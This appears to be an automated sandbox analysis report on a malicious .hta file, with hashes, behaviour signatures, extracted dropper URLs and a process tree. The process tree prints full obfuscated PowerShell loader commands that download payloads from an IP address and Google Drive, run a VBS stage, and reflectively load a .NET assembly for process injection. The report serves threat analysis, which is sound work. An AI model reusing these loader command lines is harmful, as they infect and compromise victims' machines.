Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25-10-2024 02:53

General

  • Target

    nicegirlwithnewthingswhichevennobodknowthatkissingme.hta

  • Size

    130KB

  • MD5

    401fa9878282b2404925d1ac2599b7c0

  • SHA1

    876d5ea4b89ef48cd614fc098154e3e2caa176f3

  • SHA256

    b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948

  • SHA512

    45e2de1e196ae5339df31581bd8e98af094ab461f80269a815f369e51e131a885bb9745c60375aa4c95db75e82d58f799c5ae480ac2aa0b8387baa2aea2d0f63

  • SSDEEP

    96:Eam73bDpMZMY9pMZMUyOX/DJfqMtJNpMZMVx7T:Ea23bDCuY9Cuitht/CuV9T

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicegirlwithnewthingswhichevennobodknowthatkissingme.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2432
    • C:\Windows\SysWOW64\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE
      "C:\Windows\SysTeM32\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE" "powErShEll -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe ; Iex($(iex('[sYStEm.TexT.eNcODInG]'+[chAr]58+[ChaR]0x3A+'utF8.getsTRinG([systEM.ConvERt]'+[cHAr]58+[ChAr]58+'FrombASE64sTrInG('+[ChaR]0x22+'JGI0bEg4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJFcmRlZklOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpsR2dqcHBFLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRFlCbFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwSXlHVnUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgayxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9JVGloSlJ5WSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJTIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWXdvQmNHT2duaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGI0bEg4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS8zNS9lZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnRJRiIsIiRFTnY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyIsMCwwKTtzdGFSVC1zbEVlUCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyI='+[CHAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jopjqnsa.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA362.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA361.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2232
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTnY6Q29tU3BlQ1s0LDE1LDI1XS1Kb0luJycpKCAoJzBRYWltYWdlVXJsID0gZjdWaHQnKyd0cHM6Ly8nKydkcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dScrJ3IgZjdWOzBRYXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7MFFhaW1hZ2VCeXRlcyA9IDBRYXdlYkNsaWVudC5Eb3dubG9hZERhdGEoMFFhaW1hZ2VVcmwnKycpOycrJzBRYWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDBRYWltYWdlQnl0ZXMpOzBRYXN0YXJ0RmxhZyA9IGY3Vjw8QkFTRTY0X1NUQVJUPj5mN1Y7MFFhZW5kRmxhZyA9IGY3Vjw8QkFTRTY0X0VORD4+ZjdWOycrJzBRYXN0YXJ0SW5kZXggPSAwUWFpbWFnJysnZVRleHQuSW5kZXhPZigwUWFzdGFyJysndEZsYWcpOzBRYWVuZEluZGV4ID0nKycgMFFhaW1hZ2VUZXh0LkluZGV4T2YoMFFhZW5kRmxhZyk7MFFhc3RhcnRJbmRleCAtZ2UgMCAtJysnYW5kIDBRYWVuZEluZGV4IC1ndCAwUWFzdGFydEluZGV4OzBRYXN0YXJ0SW5kZXggKz0gMFFhc3RhcnRGbGFnLkxlbmd0aDswUWFiJysnYXNlNjRMZW5ndGggJysnPSAwUWFlbmRJbmRleCAtIDBRYXN0YXJ0SW5kZXg7MCcrJ1FhYmFzZTY0Q29tbWFuZCA9IDBRYWltYWdlVGV4dC5TdWJzdHJpbmcoMFFhc3RhcnRJbmRleCwgMFFhYmFzZScrJzY0TGVuZ3RoKTswUWFiYXNlNjRSZXZlcnNlJysnZCA9IC1qb2luICgwUWFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgWWJJIEZvckVhY2gtT2JqZWN0IHsgMFFhXyB9KVstMS4uLSgwUWFiYXNlNjRDb21tYScrJ25kLkxlbmd0aCldOzBRYWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoMFFhYmFzZTY0UmV2ZXJzZWQpOzBRYWxvYWRlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCgwUWFjb21tYW5kQnl0ZXMpOzBRYXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoZjdWVkFJZjdWKTswUWF2YWlNZXRob2QuSW52b2tlKDBRYW51bGwsIEAoZjdWdHh0LlJSRVBMTVMvNTMvMTQxLjY3MS4zLjI5MS8vOnB0dGhmN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGYnKyc3VkFkZEluUHJvY2VzczMyZjdWLCBmN1ZkZXNhdCcrJ2l2YWRvZjdWLCBmN1ZkZXMnKydhdGl2YWRvZjdWLGY3VmRlc2F0aXZhZG9mN1YsJysnZjdWZGVzYXRpdmFkb2Y3VixmN1ZkZXNhdGknKyd2YWRvZjdWJysnLGY3VmRlc2F0JysnaXZhZG9mN1YsZjdWZGVzYXRpdmFkb2Y3VixmN1YxZjdWLGY3VmRlc2F0aXZhZG9mN1YpKTsnKS5SZXBsQUNFKChbY2hBcl04OStbY2hBcl05OCtbY2hBcl03MyksJ3wnKS5SZXBsQUNFKCdmN1YnLFtTdHJJTkddW2NoQXJdMzkpLlJlcGxBQ0UoKFtjaEFyXTQ4K1tjaEFyXTgxK1tjaEFyXTk3KSwnJCcpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:ComSpeC[4,15,25]-JoIn'')( ('0QaimageUrl = f7Vht'+'tps://'+'drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwu'+'r f7V;0QawebClient = New-Object System.Net.WebClient;0QaimageBytes = 0QawebClient.DownloadData(0QaimageUrl'+');'+'0QaimageText = [System.Text.Encoding]::UTF8.GetString(0QaimageBytes);0QastartFlag = f7V<<BASE64_START>>f7V;0QaendFlag = f7V<<BASE64_END>>f7V;'+'0QastartIndex = 0Qaimag'+'eText.IndexOf(0Qastar'+'tFlag);0QaendIndex ='+' 0QaimageText.IndexOf(0QaendFlag);0QastartIndex -ge 0 -'+'and 0QaendIndex -gt 0QastartIndex;0QastartIndex += 0QastartFlag.Length;0Qab'+'ase64Length '+'= 0QaendIndex - 0QastartIndex;0'+'Qabase64Command = 0QaimageText.Substring(0QastartIndex, 0Qabase'+'64Length);0Qabase64Reverse'+'d = -join (0Qabase64Command.ToCharArray() YbI ForEach-Object { 0Qa_ })[-1..-(0Qabase64Comma'+'nd.Length)];0QacommandBytes = [System.Convert]::FromBase64String(0Qabase64Reversed);0QaloadedAs'+'sembly = [System.Reflection.Assembly]::'+'Load(0QacommandBytes);0QavaiMethod = [dnlib.IO.Home].GetMethod(f7VVAIf7V);0QavaiMethod.Invoke(0Qanull, @(f7Vtxt.RREPLMS/53/141.671.3.291//:ptthf7V, f7Vdesativadof7V, f7Vdesativadof7V, f7Vdesativadof7V, f'+'7VAddInProcess32f7V, f7Vdesat'+'ivadof7V, f7Vdes'+'ativadof7V,f7Vdesativadof7V,'+'f7Vdesativadof7V,f7Vdesati'+'vadof7V'+',f7Vdesat'+'ivadof7V,f7Vdesativadof7V,f7V1f7V,f7Vdesativadof7V));').ReplACE(([chAr]89+[chAr]98+[chAr]73),'|').ReplACE('f7V',[StrING][chAr]39).ReplACE(([chAr]48+[chAr]81+[chAr]97),'$') )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESA362.tmp

    Filesize

    1KB

    MD5

    4cfcc1f631467b3b484dc3b139ec13c1

    SHA1

    c8d7899bfeb362d784773293568379ce9ebe2204

    SHA256

    029295182690b50c26dce88fdad57bce5c35907dc5942cb7735380c24d790d00

    SHA512

    334c8467827d5e63820ac8bf5c984b968c74632564c9f540e9a8e30be71a6aef7e8564af0e0e5773f5124cab1255e1c850b376adc1c9f31d2e5841116bce7e51

  • C:\Users\Admin\AppData\Local\Temp\jopjqnsa.dll

    Filesize

    3KB

    MD5

    67822799cfa66847dababa6709b800c8

    SHA1

    eed42493c03edbbaa64901436d32145b200d5ad7

    SHA256

    2c0b9d4efcb5b52f7c6c4210ed04e993808ab73581d255aedf912c5182976de8

    SHA512

    a0d7a7d2a099b9089d92ece83a91d8fba4c09f93fb89809dc840a832d8c1b80e1fccfdbafc1e8451761e6c3fb1fc87597b947b9c974b40f6ea2e95a804cc0a04

  • C:\Users\Admin\AppData\Local\Temp\jopjqnsa.pdb

    Filesize

    7KB

    MD5

    07a6ed8becd23efbf613e347f9658289

    SHA1

    e72aebef1b9b9d871a0b81e7ffb4039912cbf7bb

    SHA256

    3342d9e5311731887cf35433242e958c634bb4c8cc61751d4dd4a365f3b0a33a

    SHA512

    ae50643dc16e3b65609e621a072d62e05a6b0c7ccce72549d2a18163c75560b97359485884d5268f0ca05acded98b788a24ce93a23b147cb8f8b795c350a690a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QNOEEJDN9QVDD5MY5EEW.temp

    Filesize

    7KB

    MD5

    2939b3fde9f55025430d2418aaf1b2c9

    SHA1

    1197ad9f7a60dee575fc983ef595cde1959fa9bf

    SHA256

    518efc6f5792103f93a205f53e211324898fb81954d077c38cb717a9aa593b11

    SHA512

    0bd651d65883a626adf6e523d599afe0f3e68ea290fbd1aa8af93e4f62f1bdb55e6e53b15234acb70376c54f0cd76a2311d117bf912babcd44b8f44e70ec6e54

  • C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS

    Filesize

    137KB

    MD5

    fe9e18e3366ca7ac8c21eb1ce0631d9c

    SHA1

    51bc2bc37e87e2d64129cad63df697a68ee3b9d6

    SHA256

    01c6399fc31b4cbfcf8e851ff3ff433d36b46da2577f9230b9c78b2cbf790912

    SHA512

    7dca4fb22f5f1a6e08f6c993a7b159863b8b1a8898429aed78582641bc2340ce2fbe3e92f6ec5f9d6ec5c74a14009f77ce87602bea7ba59c4ea1e092d5a9f8f7

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCA361.tmp

    Filesize

    652B

    MD5

    38e45cac84da4e2be691807f9941489e

    SHA1

    1c05ad77d6192a4d4bf1e36ac8be44122a63a5c1

    SHA256

    1d72730df19eb3505d7b5ca7b27f75adbc30e510fe0504280795e495dd80205b

    SHA512

    30e889ff7127ee91deb55f05d5f06ff743846d1b6353df65296ee9a88e3903fcada1d184a854f7098a5412dc61da7e6f8a34e855199da6947db18f6182ed4013

  • \??\c:\Users\Admin\AppData\Local\Temp\jopjqnsa.0.cs

    Filesize

    471B

    MD5

    465b774d7a1a641088ff65cb56d1755b

    SHA1

    d65ff3c3ecd67b7da02d199d649abb75a8c64879

    SHA256

    737ceb1cff20744c7d2eb5139717221cf2c96f10d05d5fffd3d916fd69a6d025

    SHA512

    665f11dfa5a6a79b89c49724ad1943baea2ea54cb204ef3712abb948218064410b42ee96b29f067fc635bc71ec85295603567bf2e9121d381fa2dfbc6c07ea68

  • \??\c:\Users\Admin\AppData\Local\Temp\jopjqnsa.cmdline

    Filesize

    309B

    MD5

    b276a128b1f3a59553f00833e7688688

    SHA1

    cfafcc938d5caa4dcb6416b4b87a75da54db2df5

    SHA256

    f345be10368217cd1e44ac4c5bc7e924253a6661eb87a322514af6191a5cccd6

    SHA512

    016b2e0c62de696b20496082589301b415546678d55c85e07e5fe02d3cf0af655d1a7e9b638ba60cbd1b46aa711149bb1573094320f65d8c5290b020a39c41aa